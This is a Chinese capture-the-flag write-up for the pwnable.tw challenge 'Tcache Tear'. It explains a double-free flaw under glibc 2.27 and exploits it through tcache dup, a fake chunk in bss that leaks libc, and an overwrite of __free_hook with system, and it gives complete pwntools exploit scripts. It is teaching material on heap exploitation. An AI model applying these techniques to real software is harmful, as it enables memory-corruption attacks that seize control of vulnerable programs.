和媳妇一起学Pwn 之 Tcache Tear

栏目: IT技术 · 发布时间: 4年前

内容简介:漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写构造,size大于tcache的fake chunk,然后free,使其进入unsorted bin,再通过悬空指针对其内容进行读取即可泄露libc。进而再次利用任意地址写修改libc中可用的函数指针,进而getshell。64位动态链接,去了符号表,GOT

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。

利用方式:题目的libc版本为2.27,支持tcache。所以可以利用悬空指针对放入tcache中的堆块再次free,即tcache dup实现任意地址写。在通过任意地址写构造,size大于tcache的fake chunk,然后free,使其进入unsorted bin,再通过悬空指针对其内容进行读取即可泄露libc。进而再次利用任意地址写修改libc中可用的函数指针,进而getshell。

参考

检查

➜   file tcache_tear
tcache_tear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a273b72984b37439fd6e9a64e86d1c2131948f32, stripped
➜   checksec tcache_tear
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

64位动态链接,去了符号表,GOT不可写。给了libc,检查其版本:

➜  strings libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so | grep GNU
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Compiled by GNU CC version 7.3.0.

libc版本为2.27,加上题目名字为tcache,所以我们需要在本地使用libc2.27的ubuntu18.04来进行题目的调试,经过对比:

➜  diff ./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so /lib/x86_64-linux-gnu/libc-2.27.so

这里我们发现题目给的libc和我们本机18.04的libc完全相同,所以可以直接分析啦。

分析

运行发现是首先是输入一个名字,然后还是菜单,malloc,free和info,不过free并没有指定目标序号,还是IDA直接进行分析。这里注意,IDA分析出的main函数,并不意味着main这个函数符号没被去掉,可以发现gdb并无法对main函数打断,所以IDA分析出的main函数是从libc_start_main的参数推算出来的。分析后对以下函数重命名:

sub_400948 -> init_
sub_400A25 -> read_string
sub_400A9C -> menu
sub_4009C4 -> read_num
sub_400B99 -> info
sub_400B14 -> add
unk_602060 -> name

main

改名后主函数如下,可见程序会先读取用户输入最长0x20的字符串放到bss段,然后进入主循环,发现:

  • info是打印name的那个bss字段,固定输出0x20个字节
  • free函数的参数是一个固定在bss段的全局变量,而且free后没清零
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  init_();
  printf("Name:", a2);
  read_string((__int64)&name, 0x20u);
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = read_num();
      if ( v3 != 2 )
        break;
      if ( v4 <= 7 )
      {
        free(ptr);
        ++v4;
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        info();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      add();
    }
  }
}

add

然后就add函数还有点内容了,可以任意申请大小小于0xff的堆块并填写内容,然后返回堆块地址到ptr这个bss段的全局变量上。所以可以发现,ptr这个变量只能保存最后一个申请的堆块的地址,即每当malloc被调用,ptr这个位置就会被写入新分配堆块的地址。

int add()
{
  unsigned __int64 v0; // rax
  int size; // [rsp+8h] [rbp-8h]

  printf("Size:");
  v0 = read_num();
  size = v0;
  if ( v0 <= 0xFF )
  {
    ptr = malloc(v0);
    printf("Data:");
    read_string((__int64)ptr, size - 16);
    LODWORD(v0) = puts("Done !");
  }
  return v0;
}

漏洞点

这个题目的漏洞点就是,在free后,没有对指针进行清零,导致存在悬空指针。一个堆块可以free多次,存在UAF。

if ( v4 <= 7 )
{
free(ptr);
++v4;
}

利用

首先需要了解tcache的基本知识,简单的来说,tcache就是为了追求效率,实现的一个更简单,更没啥校验,更大的fastbin。以下为ctf-wiki的参考文章:

tcache dup构造任意地址写

本题中,我们可以对同一个堆块free两次,在fastbin attack中这事叫double free,不过在fastbin中是有限制的,我们不能直接对一个堆块连续free两次。但是在libc2.27的tcache机制中是可以的,所以我们在构造fastbin的double free的完成任意地址写任意数据的序列,如在 Write Some Paper (大小姐教我入门堆) 中的利用序列:

a = malloc(0x20)
b = malloc(0x20)

free(a);
free(b);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)

就可以简化为:

a = malloc(0x20);

free(a);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)

故尝试如下,利用tcache dup取修改我们初始的名字:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to modify name
name_bss = 0x602060
init('xuan')
aaw(0x50,name_bss,'admin')
info()
io.interactive()

这里调用aaw时,第一个参数为使用的tcache的哪条链,调用时如果重复使用一条链将会出错,原因参考: ama2in9的wp:Tcache Tear ,所以这里我们其实只能任意地址写17次,即申请小于0xff的堆块,只能占用17条tcache的链。运行脚本可以发现已经打印出了admin,为我们修改后的名字,证明了我们已经实现了任意地址写任意值。到这里,攻击者已经拿到了一个很强的能力,接下来就是要找到能控制程序流的内存数据,然后修改掉。我们一般有如下选择:

  • 程序自己实现的函数指针
  • GOT表
  • fini_array段函数指针
  • libc中的函数指针

不过我们发现:

  • 程序自己没有什么函数指针
  • GOT表不可写
  • main函数是个死循环,不会返回到libc_start_main,进而执行到fini_array段注册的函数

故只好泄露libc基址,进而去修改libc中可以被调用的函数指针

构造伪堆块泄露libc

tcache泄露libc常规办法

我们现在有任意地址写的能力,但是我们读的能力比较差。本题除了任意地址写,我们还有最开始获得这个能力的初始能力,即对堆块的一系列操作。所以我们可以结合这两个能力,完成libc的泄露。思路和hacknote那题很像,libc的地址信息可以通过堆管理器的双向链表的机制进行泄露,我们只要把堆块想办法搞到unsorted bin这种双向链表里,在想办法读到堆块的数据即可。绕过tcache使得堆块free后进入unsorted bin的方式通常有两种:

  1. 每个tcache链上默认最多包含7个块,再次free这个大小的堆块将会进入其他bin中,例如 tcache_attack/libc-leak
  2. 默认情况下,tcache中的单链表个数是64个,64位下可容纳的最大内存块大小是1032(0x408),故只要申请一个size大于0x408的堆块,然后free即可

但是本题均无法直接做到:

  1. 在free处做了限制,最多free七次,无法填满tcache的一条单链
  2. 在add函数中,无法申请大于0xff的堆块

house of spirit

不过以上两种办法均需要对free后的堆块进行读取,而本题中我们只能读取到bss段的name部分,所以想到:

  1. 利用任意地址写,在bss段构造大小超出0x408的伪堆块
  2. 然后free掉,使其进入unsorted bin中
  3. 利用info函数,读取其内容即可

这个构造伪堆块然后free的思路就叫: house of spirit ,不过这个一般利用在,free前我们能控制部分关键的内存并可以构造伪堆块,free后接着malloc进行完整堆块内存的控制,目的一般是扩大内存控制范围。

本题情景略有不同,我们已经拥有了任意地址写的能力,我们是借助任意地址写构造伪堆块,大小超过tcache容纳范围,使其在free时绕过tcache机制直接进入unsorted bin,然后读取。但如何构造一个堆块才能使其free后进入unsorted bin呢? 除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块。 因为在free时,会对当前的堆块后面的堆块进行一些列检查:

https://github.com/lattera/glibc/blob/master/malloc/malloc.c

// 在 _int_free 函数中
if (nextchunk != av->top) {
  /* get and clear inuse bit */
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:

bss

name  +------------> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x501 |
ptr   +------------> +--------+
                     |        |
free(ptr);           |        |
                     |        |  fake chunk 1
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
                     |        |
name + 0x500  +----> +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 2
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+
                     |   0    |
                     +--------+
                     |  0x21  |
                     +--------+  fake chunk 3
                     |   0    |
                     +--------+
                     |   0    |
                     +--------+ +------------+

而且我们最后free的时候需要的指针是name+0x10位置处的数据部分指针,这样才能正确的free掉这个堆块,所以我们使用如下策略(当然还可以使用其他策略):

  1. 在最开始输入name时,直接构造好chunk1的前16个字节
  2. 然后利用任意地址写构造name+0x500的后两个堆块
  3. 再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10
  4. free即可将这个堆块送入unsorted bin中
  5. 使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址
  6. 经过本地调试unsorted bin距离libc基址的偏移为0x3ebca0
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./tcache_tear")
io =  process(myelf.path)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :"); io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
log.warn("libc:0x%x"%libc_addr)
io.interactive()

这里采用: io.recvuntil("Name :"); io.recv(0x10) ,而不直接采用: io.recv(0x16) 的原因是, Name : 这6个字符和后面的内容是两条语句打印,在远程攻击的时候可能会出现数据先后到达延迟的io问题。至此我们已经成功的泄露libc基址,可以自行gdb调试对比vmmap中的libc基址进行检查。

控制流劫持

libc中有很多可以利用的函数指针,比如在 清华校赛THUCTF2019 之 warmup 题目中,就可以间接的去控制fork函数中的一个函数指针从而控制流劫持。在堆的题目中常用的函数是 __free_hook__malloc_hook ,这俩函数名为啥这么奇怪呢?我们还要从malloc和free的实现说起:

libc中的钩子函数

在malloc和free的函数的开始部分,都会去判断是否有相应的钩子函数:

// wapper for int_malloc
void *__libc_malloc(size_t bytes) {
    mstate ar_ptr;
    void * victim;
    // 检查是否有内存分配钩子,如果有,调用钩子并返回.
    void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
    if (__builtin_expect(hook != NULL, 0))
        return (*hook)(bytes, RETURN_ADDRESS(0));
...
}
// wapper for int_free
void __libc_free(void *mem) {
    mstate    ar_ptr;
    mchunkptr p; /* chunk corresponding to mem */
    // 判断是否有钩子函数 __free_hook
    void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
    if (__builtin_expect(hook != NULL, 0)) {
        (*hook)(mem, RETURN_ADDRESS(0));
        return;
    }
...
}

这是用来方便用户自定义自己的malloc和free函数,用法参考: malloc hook初探

void (*__malloc_initialize_hook) (void) = my_init_hook;
__malloc_hook = my_malloc_hook;
__free_hook = my_free_hook;

直接利用这种赋值语句,就可以直接给libc中的对应变量赋值,因为这几个符号都是libc所导出的。看到这我突然明白一点,使用动态库的方式不仅仅是可以调用函数,还可以直接对其中暴露出来的变量进行赋值。即动态库除了给我们暴露出函数接口以外还可以暴露出变量接口。当然我认为这个用途一般并不是让用户自己去重写malloc和free,而是让用户能在malloc和free前自动的做一些事情,以便于进行一些测试什么的。那还有没有其他的hook函数呢?

➜  strings libc2.27.so | grep hook
__malloc_initialize_hook
_dl_open_hook
argp_program_version_hook
__after_morecore_hook
__memalign_hook
__malloc_hook
__free_hook
_dl_open_hook2
__realloc_hook

这些可能都是未来的利用目标呀!

利用__free_hook

本题我们利用__free_hook来完成控制流劫持,因为我们可以执行free函数,即可以触发到相应的函数指针,并且方便控制参数:

if ( v4 <= 7 )
{
  free(ptr);
  ++v4;
}

ptr参数可以通过malloc直接控制,所以接下来有两种方法:

/bin/sh

找到以下one_gadget地址,测试第二个可用:

➜  one_gadget libc2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

完整exp

最终完整exp采用第二种方法劫持控制流:

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
mylibc = ELF("./libc2.27.so")
io =  remote("chall.pwnable.tw",10207)

sla     = lambda delim,data :  io.sendlineafter(delim,data)
init    = lambda name       :  sla("Name:",name)
malloc  = lambda size,data  : (sla("choice :","1"),sla("Size:",str(size)),sla("Data:",data))
free    = lambda            :  sla("choice :","2")
info    = lambda            :  sla("choice :","3")

# use tcache dup to arbitrary address write
def aaw(len,addr,data):
    malloc(len,'a')
    free()
    free()
    malloc(len,p64(addr))
    malloc(len,'a')
    malloc(len,data)

# use aaw to make a fake chunk in bss, and free it to unsorted bin (tcache house of spirit)
name_bss = 0x602060
init(p64(0)+p64(0x501))
aaw(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)
aaw(0x60,name_bss+0x10,'a')
free()

# use unsorted bin chunk to leak libc
info()
io.recvuntil("Name :");io.recv(0x10)
libc_addr = u64(io.recv(8)) - 0x3ebca0
free_hook = libc_addr + mylibc.symbols['__free_hook']
system    = libc_addr + mylibc.symbols['system']

# use aaw to modify __free_hook to system
aaw(0x70,free_hook,p64(system))
malloc(0x80,"$0\x00")

# call free to getshell
free()
io.interactive()

思考

如果把这到题目放在2.23版本的libc下应该怎么做呢?


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

程序员之禅

程序员之禅

[德] Christian Grobmeier / 荣耀、朱艳 / 人民邮电出版社 / 2015-8 / 39.00元

禅是一种生活态度和生活方式。程序员是一份特别辛苦的职业,也是一个承受各种压力的群体。在物欲横流的今天,禅对于程序员有着特殊的意义和价值。 本书的作者是一名德国程序员老兵,深谙程序员的喜怒哀乐。他曾经发表了一篇题为“程序员之禅的十条法则”的博客文章,引发众多程序员热烈的讨论和强烈的共鸣。本书共10章,结合程序员日常生活和工作的方方面面,作者通过对禅的知识、理解、体验、思考和感悟,提出很多中肯的......一起来看看 《程序员之禅》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

SHA 加密
SHA 加密

SHA 加密工具